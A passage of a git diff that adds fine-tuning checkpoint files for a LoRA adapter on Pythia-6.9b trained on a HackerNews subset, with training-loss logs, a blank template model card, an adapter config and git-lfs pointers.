"eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4372262954711914, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2083, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.534963846206665, + "eval_runtime": 43.7358, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.3322038650512695, + "learning_rate": 5.274074074074074e-05, + "loss": 2.1604, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.5551891326904297, + "eval_runtime": 43.7474, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.7982910871505737, + "learning_rate": 5.155555555555556e-05, + "loss": 2.0041, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.619675874710083, + "eval_runtime": 43.7429, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 2.1107077598571777, + "learning_rate": 5.037037037037037e-05, + "loss": 1.942, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6037955284118652, + "eval_runtime": 43.7364, + "eval_samples_per_second": 22.864, + "eval_steps_per_second": 2.858, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9783029556274414, + "learning_rate": 4.918518518518519e-05, + "loss": 2.0183, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6220054626464844, + "eval_runtime": 43.7512, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.8481639623641968, + "learning_rate": 4.8e-05, + "loss": 2.0877, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6184496879577637, + "eval_runtime": 43.7386, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.8271690607070923, + "learning_rate": 4.681481481481481e-05, + "loss": 2.1139, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6199121475219727, + "eval_runtime": 43.7417, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9534505605697632, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.065, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.623281717300415, + "eval_runtime": 43.7442, + "eval_samples_per_second": 22.86, + "eval_steps_per_second": 2.858, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 1.928299069404602, + "learning_rate": 4.444444444444445e-05, + "loss": 2.0962, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.6169235706329346, + "eval_runtime": 43.7502, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.410632371902466, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.8775, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.709437370300293, + "eval_runtime": 43.8353, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.781919240951538, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.8813, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.715420722961426, + "eval_runtime": 43.8196, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.7426798343658447, + "learning_rate": 4.088888888888889e-05, + "loss": 1.8863, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.720925807952881, + "eval_runtime": 43.9836, + "eval_samples_per_second": 22.736, + "eval_steps_per_second": 2.842, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.5579946041107178, + "learning_rate": 3.970370370370371e-05, + "loss": 1.8657, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.7156050205230713, + "eval_runtime": 43.8526, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.85, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.5620954036712646, + "learning_rate": 3.851851851851852e-05, + "loss": 1.8775, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7065465450286865, + "eval_runtime": 43.8667, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.4796056747436523, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9735, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7022056579589844, + "eval_runtime": 43.8669, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.311401844024658, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9683, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.7018933296203613, + "eval_runtime": 43.9361, + "eval_samples_per_second": 22.76, + "eval_steps_per_second": 2.845, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.346043348312378, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.8337, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.7532222270965576, + "eval_runtime": 43.8082, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.011246681213379, + "learning_rate": 3.377777777777778e-05, + "loss": 1.7292, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.807420492172241, + "eval_runtime": 43.8249, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.1823174953460693, + "learning_rate": 3.259259259259259e-05, + "loss": 1.7703, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.793494701385498, + "eval_runtime": 43.8418, + "eval_samples_per_second": 22.809, + "eval_steps_per_second": 2.851, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0969038009643555, + "learning_rate": 3.140740740740741e-05, + "loss": 1.7738, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.799389600753784, + "eval_runtime": 44.0564, + "eval_samples_per_second": 22.698, + "eval_steps_per_second": 2.837, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 2.961643934249878, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.7961, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.7950029373168945, + "eval_runtime": 43.8519, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.851, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.098991870880127, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8045, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.794708490371704, + "eval_runtime": 43.8163, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.1050519943237305, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8189, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.790193796157837, + "eval_runtime": 43.8333, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 440 + }, + { + "epoch": 6.0, + "grad_norm": 2.814183473587036, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.7888, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.7924447059631348, + "eval_runtime": 43.9915, + "eval_samples_per_second": 22.732, + "eval_steps_per_second": 2.841, + "step": 450 + }, + { + "epoch": 6.133333333333334, + "grad_norm": 3.243612051010132, + "learning_rate": 2.5481481481481484e-05, + "loss": 1.6686, + "step": 460 + }, + { + "epoch": 6.133333333333334, + "eval_loss": 2.8807199001312256, + "eval_runtime": 44.1448, + "eval_samples_per_second": 22.653, + "eval_steps_per_second": 2.832, + "step": 460 + }, + { + "epoch": 6.266666666666667, + "grad_norm": 4.4918212890625, + "learning_rate": 2.4296296296296298e-05, + "loss": 1.6355, + "step": 470 + }, + { + "epoch": 6.266666666666667, + "eval_loss": 2.8911144733428955, + "eval_runtime": 44.0372, + "eval_samples_per_second": 22.708, + "eval_steps_per_second": 2.839, + "step": 470 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 7.70145383350272e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..e43229870688d8801530e3389d22dec185d55ed7 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:a7675e6d31e5695349c43888d935bfe1c17e2d7a1a65c33b4c6bedca58fc59d9 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..f35c147edd08addfd2a465cb0df0eae05ce83e94 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:14b6eed1f083045ae848152f1e686694418e87f1458e215b3c6b59670d7ea02a +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..302025be6f88ae472170fe5d230ba39d4ec976df --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:918d6ec8ede8d7a880512e2fc44b16d7c22df85e8b411a004d142edcf446c40d +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..9c7a583c3e236b2f110dd12004cef1d9a2b13311 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:535824b66976a8cd20163034000bf2ae1a203551ed6ea6132858b6421f4024c0 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..01a85a228aa5d2ed02150d690404b1d77991260b --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/trainer_state.json @@ -0,0 +1,753 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 6.4, + "eval_steps": 10, + "global_step": 480, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 